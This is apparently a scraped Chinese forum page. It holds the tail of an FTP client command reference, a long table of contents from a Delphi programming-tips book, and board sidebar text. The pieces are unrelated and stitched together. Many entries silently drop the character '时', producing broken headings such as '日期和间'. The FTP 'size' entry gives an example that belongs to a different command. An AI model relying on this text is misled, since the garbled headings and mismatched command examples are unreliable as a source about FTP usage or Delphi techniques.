arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
第1章 开发环境 1 1.1 环境设置 2 0001 如何定制工具栏 2 0002 如何定制组件面板 2 0003 如何定制代码编辑器 3 0004 保存自定义开发环境桌面 4 1.2 组件安装 4 0005 安装ActiveX组件 4 0006 安装不同类型的第三方组件 5 0007 在Delphi中加载QReport报表组件 7 1.3 创建DLL文件 8 0008 生成一个DLL文件 8 0009 调用DLL文件 8 1.4 窗体相关操作 9 0010 将组件置前/置后 9 0011 如何锁定窗体中的组件 9 0012 如何改变窗体上的网格大小 10 0013 组件的选取 10 0014 改变窗体Hint背景色 11 0015 以原始风格显示控件的滚动条 11 0016 使用快捷键打开对象观察器中的“...”按钮 11 1.5 其他相关应用技巧 11 0017 安装合适的Delphi版本 11 0018 熟练掌握Delphi中的菜单项 12 0019 构成Delphi项目的主要文件 12 0020 如何在程序中调用帮助文件 12 第2章 语言基础 17 2.1 基础语言 18 0021 如何对代码进行注释 18 0022 Exit语句的使用 18 0023 有效地使用Self对象 19 0024 声明局部变量、类变量和全局变量 19 0025 有效利用条件语句和嵌套条件语句 20 0026 有效利用循环语句和嵌套循环语句 21 0027 使用GoTo跳转语句 21 0028 有效使用Case Else语句 22 0029 保证数组循环的安全性 22 0030 获取枚举值列表 23 0031 使两个变量位于同一个地址空间 23 0032 利用动态数组作为函数参数 24 0033 调用Register过程的注意事项 24 0034 在Delphi中禁止使用result 24 0035 如何在Delphi中录制代码 24 0036 如何编译器会提示数组太大的处理技巧 25 0037 如何对超大数字进行计算 25 0038 强类型的定义及使用 25 2.2 类、函数、重载 25 0039 在函数的定义中正确使用var 25 0040 如何实现类的转形 26 0041 如何实现数据加密与解密算法 27 0042 如何继承父类的方法 27 0043 如何实现函数重载 28 0044 类中多态的应用 28 0045 将函数作为参数进行调用 30 2.3 参数与指针 30 0046 通过指针读写数据 30 0047 在过程中使用常量参数 31 0048 在过程中使用数组参数 31 0049 在过程中使用默认参数 31 2.4 其他 32 0050 如何在字符串中使用单引号 32 0051 结构对象的定义与使用 32 0052 使用数组为TlistView组件动态创建字段 33 0053 解决程序的死锁问题 34 0054 怎样实现接口委托 34 0055 在Delphi中使用汇编 35 0056 为程序设置版本和帮助信息 36 0057 动态链接库的创建与调用 36 0058 String类型和Pchar类型的用法和区别 36 0059 如何捕获异常 37 0060 TStrings与TStringList的使用 37 0061 如何实现窗体文件转换 37 第3章 程序算法 39 3.1 计算类算法 40 0062 如何计算1~100的阶乘和 40 0063 如何实现最大公约数 40 0064 如何实现最小公倍数 41 0065 如何实现裴波纳契数列求和 42 0066 如何实现百钱百鸡算法 42 0067 如何实现哥德巴赫猜想 43 0068 如何实现韩信点兵 44 0069 求水仙花数的算法 44 0070 求1000以内的完数 45 0071 如何计算x的y次方 46 3.2 复杂计算类算法 46 0072 如何实现金额大小写转换的算法 46 0073 如何计算钟的指针位置 47 0074 如何计算汉字笔划 48 0075 如何计算两个日期之间的天数、周数、分钟数 49 0076 如何实现数字斜塔 50 0077 如何实现杨辉三角 51 0078 如何实现CRC算法 52 0079 如何将B转换成GB、MB和KB 52 3.3 判断及转换类算法 53 0080 判断IP地址是否合法的算法 53 0081 判断身份证是否合法的算法 54 0082 判断素数的算法 55 0083 将字符串转换成Unicode格式 56 3.4 排序及分组类算法 56 0084 利用回溯法将一组数平均分成两组 56 0085 利用冒泡法对数字进行排序 58 0086 用回溯法找出n个自然数中取r个数的所有组合 58 0087 0~N位数的任意组合 59 0088 在数组中快速查找近似值 60 0089 实现直接插入法排序 61 第4章 函数应用 63 4.1 字符串处理函数 64 0090 使用Uppercase函数将小写字母转换为大写字母 64 0091 使用Lowercase函数将大写字母转换为小写字母 64 0092 使用Copy函数获取一个字符串的子串 64 0093 使用LeftStr函数从左边取得指定个数的字符串 65 0094 使用RightStr函数从右边取得指定个数的字符串 65 0095 使用Length函数取得一段字符串的长度 65 0096 使用Pos函数返回子字符串第一次出现的索引值 66 0097 使用Quotedstr函数返回字符串的引证串 66 0098 使用Trim函数删除字符串的首尾空格 66 4.2 数学计算函数 67 0099 使用Abs函数返回指定数值的绝对值 67 0100 使用Mod函数计算1~10之间的奇数和 67 0101 使用Div函数做整除操作 68 0102 使用DivMod函数返回两个操作数相除的商和余数 68 0103 使用Power函数返回底数的任何次幂 69 0104 使用Round函数将实数四舍五入为整数 69 0105 使用Sqr函数计算指定数的平方 70 0106 使用Mean函数计算平均数 70 0107 求最大浮点数和最小浮点数 71 4.3 序数函数 72 0108 使用Odd函数改变StringGrid组件的奇偶行颜色 72 0109 使用Pred函数获取顺序类型表达式的前驱 72 0110 使用Succ函数获取顺序类型表达式的后继 73 4.4 进制转换相关函数 73 0111 如何将二进制转换为八进制 73 0112 如何将二进制转换为十进制 75 0113 如何将二进制转换为十六进制 76 0114 如何将十进制转换为二进制 77 0115 如何将十进制转换为十六进制 78 0116 如何将十六进制转换为十进制 79 4.5 类型转换函数 80 0117 使用IntToHex函数将整数转换为十六进制数 80 0118 使用Int函数返回实数的整数部分 80 0119 使用IntToStr函数将整数转换为字符串类型 80 0120 使用StrToInt函数将字符串转换成整数 81 0121 使用StrToBool函数将字符串转换为布尔类型 81 4.6 对话框函数 81 0122 使用InputBox函数显示输入对话框 81 0123 使用MessageDlg函数显示不同风格的对话框 81 0124 使用CreateMessageDialog函数创建消息对话框 82 0125 如何在指定的位置显示信息框 82 0126 使用ShowException函数显示一个异常信息 82 4.7 异常处理函数 83 0127 将错误编号转换为错误信息字符串 83 0128 使用ExceptAddr函数获得异常被抛出的地址 83 0129 格式化异常处理信息 84 4.8 图形图像相关函数 85 0130 将TColor类型的颜色值转换为RGB值 85 0131 使用Bounds函数获得某矩形的TRect 86 0132 从已有的位图上创建位图 86 0133 使用Frame3D过程在画布上创建3D效果 87 4.9 文件操作的相关函数 87 0134 使用CopyFile函数复制文件 87 0135 使用CreateDir函数创建一个目录 88 0136 使用FileCreate函数创建一个图形文件 88 0137 使用GetCurrentDir函数返回当前目录 89 0138 在指定路径中搜索指定的文件 89 0139 使用FileExists函数判断指定文件是否存在 90 0140 使用FileGetAttr函数返回文件的属性 90 0141 使用FileGetDate函数返回文件的修改日期 90 0142 使用FileWrite函数将缓冲区中的内容写入文件 91 4.10 其他函数 91 0143 使用Random函数产生7个随机数 91 0144 使用DiskFree函数返回磁盘驱动器的剩余空间 91 0145 如何使用Printer函数 92 0146 使用SetPriner函数修改打印机信息 93 0147 使用BeginThread函数产生线程 94 0148 使用EndThread过程终止一个线程 95 0149 使用ForegroundTask函数检测线程是否运行 96 第5章 字符与字符串处理技术 99 5.1 ASCII码与编码转换 100 0150 如何获得汉字的区位码 100 0151 通过区位码获取汉字 100 0152 根据ASCII码获得字母 101 0153 获得字母的ASCII码 101 5.2 字符中的转换 101 0154 如何将数字转换成字符串 101 0155 如何将字符串全部大写 102 0156 如何将字符串全部小写 102 0157 如何将字符串中的任意字符转换成大写 103 0158 如何将字符串中的任意字符转换成小写 103 0159 如何将字符串首字母大写 104 5.3 字符串的相关判断 105 0160 判断某一字符是否在字符串中 105 0161 判断字符串是由数字、大写字母或小写字母组成 105 0162 判断字符串中的某一字符是否大写 106 0163 判断字符串中是否有小写字母 107 0164 判断字符串中是否有指定的字符 107 0165 判断字符是否可以转换成整数 108 0166 判断字符中是否有汉字 108 0167 判断字符中是否有双字节 109 0168 判数输入的字符串是否为整数 109 5.4 字符串的个数问题 110 0169 获取文字中英文单词的个数 110 0170 如何统计两个子字符串之间的字符的个数 111 0171 判断字符在字符串中出现的个数 111 0172 在语句中查找汉字的个数 112 0173 如何统计中英文个数 112 5.5 字符串的其他操作 113 0174 返回指定字符串的起始位置 113 0175 获得汉字的拼音简码 113 0176 如何将字符串翻转 114 0177 截取指定位置的字符串 115 0178 清除字符串中指定的字符 115 0179 如何实现文本的加密与解密 116 0180 提取字符串中指定子字符串后的字符串 117 0181 替换指定的字符串 117 0182 在文本中删除指定的汉字或句子 118 0183 指定符号分割字符串 119 0184 如何使用随机密码和字符串 120 第6章 日期和间 121 0185 获得系统当前间 122 0186 获得系统当前日期 122 0187 将日期间格式化为指定格式 122 0188 计算两个日期之间相差的天数 123 0189 根据指定日期返回星期几 123 0190 将日期转换为字符串 124 0191 判断日期是否改变 124 0192 判断字符串是否为日期或间 125 0193 获得指定月的最后一天 127 0194 在指定的日期上加上3月 127 0195 实现倒计功能 128 0196 判断指定年份是否为闰年 129 0197 调用系统设置日期对话框 129 0198 将秒数转化成hh:mm:ss格式 129 0199 修改操作系统日期 130 0200 获取全球标准间 130 第7章 数据处理技术 133 7.1 组件数据处理技术 134 0201 让两个文本框中的内容同改变 134 0202 格式化DataGrid表格中的数据 134 0203 控制文本框只能录入数字 135 0204 如何在DataGrid中嵌入LookupComboBox 135 0205 在DBGrid中设置不滚动的列 136 0206 如何在DBGrid中实现复制、粘贴功能 137 0207 在DBGrid中将选中的多行删除 137 0208 在DataGrid中如何使标题文字居中 138 0209 如何把ListBox中的内容拖曳到另一个ListBox中 139 0210 把DBGrid中的数据赋给数组 139 0211 如何获取DataGrid单元格中的内容 140 0212 如何锁定文本框中的文本 141 0213 如何设置光标到文本框的末尾 141 0214 如何改变表格列的矩形区域颜色 142 0215 控制在文本框中只能输入两位小数 143 0216 如何把选择的文件图标显示在列表中 143 0217 根据表格中的数据长度自动调整表格宽度 144 7.2 ADO数据处理技术 145 0218 如何把ADO中的数据导入到ListBox中 145 0219 使用SQL语句保存数据 146 0220 使用赋值方式保存数据 147 0221 当ADO循环删除数据需要注意的问题 147 0222 把Excel中的数据保存到数据库中 147 0223 怎样弹出ConnectionString设置页 148 0224 利用ADO获取DELETE后所影响的记录数 148 7.3 业务实现数据处理技术 149 0225 随机产生中奖号码 149 0226 使用快捷键保存数据 150 0227 密码只允许输入8位或超过8位 150 0228 如何获取汉字拼音简码 151 0229 根据用户输入需求自动调整输入法 152 0230 根据生日自动计算年龄 153 0231 实现找零功能 153 0232 设计带记忆的数据录入窗口 154 0233 在窗体关闭提示有未保存的数据 155 0234 设置只允许3次密码错误 156 0235 如何读取Word中的文本 156 0236 通过身份证号获取年龄 157 0237 如何实现一个应用程序只能打开一个进程 158 7.4 其他数据处理技术 159 0238 对计算结果四舍五入 159 0239 获取一个字符的ASCII值 159 0240 判断字符串中是否有文字符 160 0241 如何从字符串中提取数字 160 0242 判断内容是否为日期 161 0243 使字符串显示为自定义的格式 161 0244 实现拼音大小写转换 162 0245 怎样实现数据输入为空提示 162 0246 读取Memo1中指定行的文本信息 163 0247 自动调节ComboBox列表宽度 164 0248 如何转换数据库表为CSV文件格式 164 0249 删除文本文件中的多余空格 165 0250 创建和使用资源文件 166 第8章 窗体与界面设计 169 8.1 窗体标题栏控制 170 0251 如何实现标题栏闪烁的窗体 170 0252 如何实现不可移动的窗体 170 0253 如何在不使用标题栏的情况下移动窗体 170 0254 使窗体标题栏文字右对齐 170 0255 在窗体标题栏上添加按钮 171 0256 取消窗体标题栏的关闭按钮 172 0257 如何实现闪动的标题栏文字 172 0258 怎样动态修改窗体图标 172 8.2 窗体的动态显示 173 0259 如何实现QQ窗体 173 0260 实现窗体的淡入淡出 173 0261 实现窗体的幻灯片效果 174 0262 实现窗体的伸展效果 174 0263 实现窗体的下拉效果 175 0264 以放大的圆形显示窗体 175 8.3 MDI窗体 176 0265 在MDI中显示动态窗体 176 0266 在MDI中真正关闭子窗体 176 0267 给MDI主窗体添加背景 176 0268 动态显示像MDI的子窗体 177 0269 打开MDI窗体其他窗体会显示出来的原因 177 8.4 窗体的大小及位置 178 0270 控制窗体的最大化、最小化 178 0271 无标题栏改变窗体的大小 178 0272 无标题栏最大化不覆盖任务栏 178 0273 限制窗体的大小 179 0274 重定义去掉标题栏并最大化窗体 179 0275 使窗体一直居中 179 0276 控制窗体不可移动 180 0277 限制窗体的最大化 180 0278 使窗体自动居中 181 8.5 窗体的特殊形状 181 0279 实现窗体颜色渐变 181 0280 如何使窗体透明 182 0281 制作特殊形状的窗体 182 0282 为窗体增加边框 183 0283 显示圆角窗体 183 0284 制作多边形窗体 184 0285 以文字的形式显示窗体 185 0286 如何实现窗体半透明 185 0287 制作立体窗口阴影效果 186 8.6 工具栏、状态栏及下拉列表 187 0288 制作带历史信息的菜单 187 0289 制作可以拉伸的菜单界面 188 0290 制作类似于XP颜色的下拉页 188 0291 在系统菜单中添加菜单项 189 0292 在状态栏中放置其他组件 189 0293 改变下拉列表的文字颜色 190 8.7 窗体的特殊效果 191 0294 如何动态分割窗体 191 0295 如何将应用程序背景与桌面融合 191 0296 如何在屏幕最前面显示滚动字幕 192 0297 制作磁性窗体 193 0298 制作浮动窗口 194 0299 制作另类提示窗口 195 0300 将窗体放入Panel组件中 196 8.8 窗体的快速操作 197 0301 使窗体始终在最上面 197 0302 显示所有的可视化窗体 197 0303 关闭所有窗体 198 0304 关闭多余的窗体 198 8.9 窗体的调用方法 199 0305 在关闭窗体前显示提示对话框 199 0306 创建一个启动闪现窗口 199 0307 动态创建窗体 200 0308 动态创建窗体和释放窗体 200 0309 在显示主窗体前显示登录窗体 201 8.10 窗体相关操作的其他技巧 202 0310 无窗体的半透明控件 202 0311 修改提示字体及颜色 202 0312 在窗口中显示动态画布 202 0313 如何实现中英文切换 203 0314 在一个子窗体中获得另一个子窗体的组件信息 204 第9章 组件技术 205 9.1 优化组件外观 206 0315 利用TXPManifest组件美化程序界面 206 0316 使用Canvas美化列表项 206 0317 利用Canvas在Chart组件中画一幅图片 207 0318 如何为TListBox添加水平滚动条 207 0319 折行显示按钮标题 208 0320 为组件制作立体效果 208 0321 利用ActiveX控件实现Office助手 209 9.2 菜单、工具栏、状态栏 209 0322 在PopupMenu中动态加入新菜单 209 0323 在状态栏中显示进度条组件 210 0324 为工具栏添加背景图片 210 9.3 文本框及列表框的应用技巧 211 0325 使TEdit组件获取焦点后将文本全部选中 211 0326 使TEdit组件获取焦点改变文本框颜色 211 0327 查找列表框中的选项 212 0328 在ComboBox组件中显示QQ头像 212 0329 为Edit组件添加列表选择框 213 0330 在ListBox中显示位图 214 0331 获取TMemo中的可见行数 214 0332 如何在Memo组件上实现光标定位 215 0333 控制Memo组件中的滚动条 216 9.4 数据感知控件应用技巧 217 0334 如何在DBGrid中显示不同的记录颜色 217 0335 单击DBGrid标题进行排序 218 0336 使DBGrid支持鼠标滚轮 218 0337 在DBGrid中添加静态字段 218 0338 在DBGrid中实现下拉列表 219 0339 改变DBGrid被选中的颜色 220 0340 用TDBNavigator组件删除数据显示自定义信息 220 0341 使用Excel组件将数据导出为Excel格式 221 9.5 表格组件使用技巧 222 0342 将StringGrid中指定行的数据添加到Memo中 222 0343 使TStringGrid组件自动移动及增加行 223 0344 单击StringGrid列进行排序 224 9.6 TreeView组件使用技巧 225 0345 如何动态创建TreeView节点 225 0346 如何将TreeView中的节点全部选中 226 0347 将菜单项添加到Tree View中 226 0348 使TreeView组件与数据库关联 227 0349 应用TTreeView组件遍历磁盘目录 228 0350 在TreeView组件中实现拖曳操作 229 9.7 ListView组件使用技巧 229 0351 向TListView组件中添加项目 229 0352 删除ListView中的选项 230 0353 实现ListView滚动 230 0354 将数组中的数值遍历到ListView中 231 0355 ListView组件的高级应用 231 0356 使ListView的不同列显示不同颜色 232 0357 对ListView中的项目进行汇总 233 0358 单击列表标题进行排序 233 9.8 应用组件制作导航 234 0359 用ListView制作导航界面 234 0360 利用Panel组件制作QQ导航栏 235 9.9 其他组件使用技巧 237 0361 动态创建组件 237 0362 创建控件数组 237 0363 用组件来移动窗体 238 0364 实现组件的批量访问 238 0365 使同类组件进行同样的操作 239 0366 使用Ttrackbar组件改变画布颜色值 239 0367 设置TopAxis属性在图表上面显示标签 240 0368 动态向ImageList组件中添加图标 240 0369 设置DateTimePicker组件的外观颜色 241 0370 利用Timer组件显示当前系统间 241 0371 获取用户在Month Calendar组件中选择的日期 242 0372 在Panel上播放视频文件 242 0373 Win3.1组件的综合应用 242 0374 制作一个信息上传控件 243 0375 使用Gauge组件制作启动程序 245 第10章 鼠标和键盘 247 10.1 鼠标和键盘 248 0376 鼠标和键盘在一定间没有动作关闭程序 248 0377 如何锁定鼠标和键盘 248 0378 如何实现键盘鼠标动作记录与回放 249 10.2 鼠标的相关操作 250 0379 将鼠标锁定在指定范围内 250 0380 模拟鼠标操作 251 0381 显示或隐藏鼠标 252 0382 获取鼠标按键状态 252 0383 获取窗口标题 253 0384 单击鼠标左键弹出右键菜单 253 0385 改变当前鼠标的样式 254 0386 模拟键盘的复制与粘贴 255 0387 如何定义自己的鼠标事件 255 0388 利用鼠标绘制矩形焦点 256 0389 将鼠标移动到指定控件 257 0390 ANI动画鼠标的制作 257 0391 自制动画鼠标 258 0392 获取鼠标滑轮的消息 258 0393 制作鼠标跟随 259 0394 利用鼠标滑轮查看组件中的数据 259 10.3 键盘的相关操作 260 0395 按回车键移动焦点 260 0396 如何屏蔽Win键 261 0397 如何控制键盘指示灯 261 0398 如何屏蔽Sleep和Wake Up键 262 0399 设置自己的热键 262 0400 用键盘钩子封锁Win dows热键 263 0401 如何用Esc键退出程序 263 0402 在TDBGrid中用回车键移至下一个字段 264 0403 用Esc键停止循环 264 0404 如何判断左右 Shift 按键 265 0405 替换一个键盘按钮 265 10.4 鼠标的其他应用技巧 266 0406 实现超级链接效果 266 0407 用鼠标隐藏显示窗口(仿QQ) 267 0408 获取鼠标的桌面坐标 267 0409 用鼠标双击TStatusBar判断是哪一个Panels 268 0410 使Canvas上直线的一个端点跟着鼠标跑 268 第11章 文件与文件管理 271 11.1 文件及文件夹的创建和移动 272 0411 创建并删除文件 272 0412 如何移动文件 272 0413 将文件放入回收站 273 0414 复制文件夹到其他路径中 273 0415 用API函数进行文件的复制 274 0416 用内存块复制文件 275 0417 用文件流对文件进行复制 275 11.2 文件的打开及读取 276 0418 打开指定格式的文件 276 0419 获取文件中指定符号中的字符串 277 0420 如何输出文本内容 277 0421 根据文件名中的部分名称打开该文件 278 0422 怎样合并文件 280 0423 创建和使用资源文件 281 11.3 文件及文件夹的相关属性 281 0424 如何获取文件的访问间 281 0425 获取文件的剩余空间 282 0426 获取文件修改间 283 0427 怎样修改文件属性 283 11.4 文件及文件夹的相关目录 285 0428 得到系统当前目录 285 0429 改变当前目录 285 0430 获取System目录 286 0431 获取Windows目录 286 0432 获取临文件的目录 287 11.5 文件属性的相关判断 287 0433 判断文件是否被使用 287 0434 判断文件是否存在 288 0435 判断文件是否为文本文件 288 0436 判断文件名是否有效 289 11.6 文件及文件夹的遍历 289 0437 如何查询文件 289 0438 提取文件夹中的文件 291 0439 遍历文件夹下的所有文件(包含子文件夹) 291 11.7 INI文件 292 0440 如何读写INI文件 292 0441 利用INI文件查看工作日志 294 0442 用INI文件创建菜单 295 11.8 文件的其他应用技巧 296 0443 调用帮助文件 296 0444 对文件进行比较 296 0445 更改文件名称 297 0446 字符网格和文本间转换 297 第12章 磁盘管理 299 12.1 获取磁盘的相关信息 300 0447 获取磁盘总空间 300 0448 获取光盘的盘符 300 0449 获取系统盘符 301 0450 获得光盘的卷标 301 0451 获取磁盘卷标 302 0452 获取磁盘编号 302 0453 获取磁盘详细信息 303 0454 获取硬盘序列号 303 0455 获取驱动器类型 304 0456 获取驱动器列表 304 0457 获取磁盘的文件系统名称、长度及系统标记 305 0458 获取移动硬盘 305 12.2 磁盘设置与操作 306 0459 将文件存到磁盘中 306 0460 如何实现盘格式化 307 0461 打开磁盘先弹出文本文件 308 0462 怎样进行磁盘碎片整理 308 12.3 磁盘监控与分析 308 0463 判断光驱中是否有光盘 308 0464 如何打开和关闭光驱 309 0465 判断软驱中是否有软盘 310 0466 判断磁盘是否存在 311 第13章 图形图像技术 313 13.1 基本操作 314 0467 对窗体进行刷新 314 0468 在TImage组件上显示透明文字 314 0469 清空TImage组件中的图片 314 0470 生成两个颜色的中间色 315 0471 改变文字的背景颜色 315 13.2 绘制图形 316 0472 制作空心文字 316 0473 如何实现十字光标定位 316 0474 制作旋转的文字 317 0475 波形图的绘制 318 0476 制作动画背景的窗体 319 0477 如何涂抹窗体 320 0478 如何万花筒 320 13.3 图片格式转换 321 0479 ICO转换成位图(BMP) 321 0480 JPG转换成位图(BMP) 322 0481 WMF转换成位图(BMP) 323 0482 位图(BMP)转换成JPG 323 0483 位图(BMP)转换成WMF 324 0484 批量转换图像 324 13.4 颜色格式的转换 326 0485 将TColor换算成RGB 326 0486 将TColor换算成HTML 326 0487 将HTML换算成TColor 327 0488 将CMYK换算成RGB 327 0489 将RGB换算成CMYK 328 0490 将RGB换算成TColor 329 13.5 图片的滤镜效果 329 0491 将图片以灰度形式显示 329 0492 提高图像的亮度 330 0493 图像浮雕效果 331 0494 图片的反色效果 332 13.6 翻转与缩放 333 0495 如何放大和缩小图像 333 0496 实现图形反转 333 0497 如何旋转图像 334 0498 将图像局部放大 335 13.7 图片的动态效果 336 0499 制作百叶窗效果 336 0500 垂直交错显示图像 337 0501 水平交错显示图像 338 0502 制作积木效果 338 0503 制作推拉效果 340 0504 如何实现雨滴式的效果 340 0505 图片颜色逐渐加深 341 13.8 获取及调整图片的像素 342 0506 如何实现定点取色 342 0507 获取指定点的RGB值 343 0508 制作红绿眼镜三维立体画 343 0509 调整图片的RGB对比度 344 0510 图片的加密与解密 345 13.9 图片的处理技术 346 0511 复制局部图片 346 0512 在图片中加入文字 347 0513 如何实现图片扭曲 348 0514 图片的网格效果 350 13.10 图片的存储 350 0515 将BMP图片重画到窗体上 350 0516 将JPG图片重画到窗体上 351 0517 使位图图片透明 352 0518 对大图片的操作 352 13.11 图片的其他应用技巧 353 0519 怎样浏览大图片 353 0520 获取图像信息 353 0521 在图片上平滑移动文字 354 0522 制作随鼠标拖动的图像 355 0523 在TMainMenu组件上绘制图片 356 第14章 动画与多媒体 357 14.1 动画播放 358 0524 单帧动画播放 358 0525 多帧动画播放 358 0526 模拟石英钟 360 0527 设计字幕程序 361 0528 设计屏幕保护程序 361 14.2 文字效果 363 0529 文字的立体字效果 363 0530 文字滚动效果 364 0531 文字旋转效果 365 0532 制作空心文字 365 14.3 播放媒体文件 366 0533 播放AVI文件 366 0534 播放Flash动画 367 0535 播放WAV文件 368 0536 播放GIF文件 368 14.4 利用API播放媒体 369 0537 与多媒体相关的API函数 369 0538 利用sndPlaySound函数播放音频文件 370 0539 利用mciSendString函数播放AVI 370 14.5 音频及视频 372 0540 使电脑发出声音 372 0541 显示MP3文件的播放间 372 0542 显示文件的播放进度 373 0543 循环播放媒体文件 374 0544 显示AVI文件的播放帧数 375 0545 指定视频显示窗口 375 0546 全屏播放视频文件 376 0547 设计一个精美的播放器 377 0548 播放背景音乐 380 0549 利用RealPlayer播放器播放音乐 381 14.6 媒体控制 382 0550 如何实现静音与声道控制 382 0551 调用声音控制对话框 383 0552 使播放的Flash随窗口大小改变 383 0553 打开和关闭光驱 383 第15章 API函数 385 15.1 操作系统 386 0554 关闭显示器 386 0555 获取系统启动模式 386 0556 使程序不出现在任务栏上 387 0557 修改系统间 387 0558 修改系统颜色 388 0559 使用API函数拨号 389 0560 获取内存使用状态的信息 389 0561 清空回收站 390 0562 设置系统日期 390 0563 如何设定屏幕分辨率设定 391 0564 修改系统的刷新率 391 0565 隐藏桌面图标 392 0566 获取Windows主题文件 392 15.2 窗体 393 0567 利用API创建窗体 393 0568 利用API创建画刷 394 0569 利用API绘制弧形 394 0570 利用API控制窗体显示 395 0571 制作闪动标题的窗体 396 0572 拖动无标题栏窗体 396 0573 获取拖动到窗体中的文件路径 396 0574 在窗口的任意地方弹出主菜单项 397 0575 获取工程中的所有窗体名称 398 15.3 其他相关应用技巧 399 0576 锁定计算机 399 0577 启动控制面板 400 0578 如何实现屏幕抓图 401 0579 计算Windows从启动后所运行的总间率 401 0580 巧用GetSystemMetrics函数 402 0581 显示密码编辑框中的密码 402 0582 添加、删除系统托盘图标 402 0583 如何在系统菜单中添加新项目 403 0584 监测程序多久未被使用 404 第16章 注册表 405 16.1 注册表基本操作 406 0585 创建注册表项 406 0586 删除注册表项 406 0587 向注册表中写入数据 407 0588 读取注册表中的数据 407 0589 列出指定注册表项下全部键值 408 0590 备份与恢复注册表 409 16.2 桌面 410 0591 设置系统墙纸 410 0592 修改桌面“我的电脑”的提示信息 410 0593 如何在桌面的任意位置显示墙纸 411 0594 在任务栏中添加自定义信息 412 16.3 优化系统性能 413 0595 如何实现自动登录 413 0596 如何快速显示窗口 414 0597 优化二级缓存 414 0598 优化系统关机速度 415 0599 禁止用户对虚拟内存的访问 415 16.4 IE浏览器设置 416 0600 设置IE默认首页 416 0601 清空IE网址中的历史记录 416 0602 设计修改IE标题栏和工具栏背景的程序 418 0603 隐藏IE属性中的选项 419 0604 禁止查看网页中的源文件 421 0605 禁止IE播放多媒体文件 421 0606 禁止对IE浏览器设置默认首页 422 16.5 “开始”菜单的相关设置 422 0607 如何在“开始”菜单中隐藏“关机”菜单项 422 0608 如何在“开始”菜单中隐藏“文档”菜单项 423 0609 如何在“开始”菜单中隐藏“运行”菜单项 423 0610 退出系统清除“文档”中的历史记录 424 0611 禁止文档子菜单记录最近的工作信息 425 16.6 其他设置 426 0612 设计开机欢迎文字 426 0613 防止应用程序窗口失去焦点 426 0614 隐藏“添加/删除Windows组件”按钮 427 0615 隐藏计算机中的盘符 428 0616 禁止使用控制面板 430 0617 禁止使用注册表编辑器 431 0618 通过注册表获取区信息 431 0619 通过注册表获取系统信息和用户注册信息 432 第17章 Windows相关开发技术 435 17.1 CPU 436 0620 获取CPU频率 436 0621 获取从开机到现在CPU运行的周期数 436 0622 获取CPU名称 437 0623 判断CPU是否支持MMX 438 17.2 系统控制 438 0624 计算机的关闭、重启和注销 438 0625 开关屏幕保护 439 0626 设计更换屏幕保护的程序 440 0627 设计屏幕保护的程序 441 0628 设置屏幕分辨率 442 0629 设置墙纸 443 0630 显示桌面 444 0631 让InputBox也能使用密码掩码 444 0632 控制系统菜单 445 0633 动态改变屏幕的显示模式 446 0634 在桌面上创建指定网址的快捷方式 446 0635 建立批处理文件的快捷方式 447 0636 Windows菜单字体的设置 448 17.3 系统状态栏的相关操作 448 0637 隐藏和显示任务栏 448 0638 隐藏、显示托盘图标 449 0639 隐藏状态栏中的间 449 0640 如何设置“开始”按钮不可用 450 17.4 获取系统信息 450 0641 查看当前系统版本 450 0642 更改系统日期及间 451 0643 获取系统字体的列表 452 0644 获取指定盘符中的路径 452 0645 获取系统内存信息 454 0646 如何使用DOS获取计算机的网络信息 454 17.5 获取Windows的相关文件 455 0647 按文件类型获取其图标 455 0648 监控剪贴板的文字内容 456 0649 输出Shell32.dll的图标 457 0650 从剪贴板中读取图片 458 17.6 Windows消息的相关控制 458 0651 程序最小在任务栏中显示托盘图标 458 0652 动态最小化到状态栏托盘区 459 0653 屏幕取图(包含鼠标) 459 17.7 其他相关技巧 460 0654 如何让电脑发出滴声 460 0655 打开记事本和计算器 461 0656 对汉字输入法进行操作 461 0657 在组件中执行控制面板 462 0658 在Windows界面上不显示程序 464 0659 清空回收站 464 0660 给桌面加上一层阴影 465 第18章 程序应用控制 467 第19章 数据库技术 485 第20章 SQL查询相关技术 523 第21章 打印与报表技术 583 第22章 图表技术 617 第23章 硬件相关技巧 633 第24章 网络开发技术 645 第25章 Web相关技巧 689 第26章 安全技术 707 第27章 程序调试与错误处理 717 第28章 程序打包与安装 727 第29章 第三方控件 737

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧